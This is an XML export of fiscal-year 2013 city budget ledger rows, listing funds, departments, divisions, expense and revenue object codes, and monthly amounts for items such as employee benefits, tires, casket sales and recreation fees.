<row _id="4241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="4242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>145000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>145000.0</total></row>
<row _id="4243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="4244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="4245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>18718.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18718.0</total></row>
<row _id="4246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>822.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>822.0</total></row>
<row _id="4247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>407240.0</object><object_description>TRANS MGMT BLDG PLAN CHECK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-118720.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-118720.0</total></row>
<row _id="4248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="4249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-10520.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10520.0</total></row>
<row _id="4250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4425.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4425.0</total></row>
<row _id="4251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-13127.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-13127.0</total></row>
<row _id="4252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8090.0</total></row>
<row _id="4253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3305.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3305.0</total></row>
<row _id="4254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-5238.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5238.0</total></row>
<row _id="4255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8214.0</total></row>
<row _id="4256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2170.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2170.0</total></row>
<row _id="4257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4843.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4843.0</total></row>
<row _id="4258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409005.0</object><object_description>CHILDCARE-JANUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-31130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="4259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-54358.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-54358.0</total></row>
<row _id="4260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-22332.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22332.0</total></row>
<row _id="4261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-43669.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-43669.0</total></row>
<row _id="4262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402780.0</object><object_description>CASKET SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-98430.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-98430.0</total></row>
<row _id="4263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556170.0</object><object_description>SOLD FLOWERS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="4264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3678.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>187</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3865.0</total></row>
<row _id="4265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>678.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-3</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>675.0</total></row>
<row _id="4267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>518.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>516.0</total></row>
<row _id="4268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="4269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20819.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20819.0</total></row>
<row _id="4270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7947.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>79</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8026.0</total></row>
<row _id="4271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>99015.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>99015.0</total></row>
<row _id="4273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="4274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>48863.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48863.0</total></row>
<row _id="4275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4696.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-629</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4067.0</total></row>
<row _id="4276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="4277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>100</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10100.0</total></row>
<row _id="4278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>157126.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>157126.0</total></row>
<row _id="4279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1766.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1766.0</total></row>
<row _id="4280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>192901.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1929</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>194830.0</total></row>
<row _id="4281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>379.0</total></row>
<row _id="4282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4960.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5010.0</total></row>
<row _id="4283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6700.0</total></row>
<row _id="4285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>119998.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1200</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>121198.0</total></row>
<row _id="4286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>5000</may><june>0.0</june><total>5000.0</total></row>
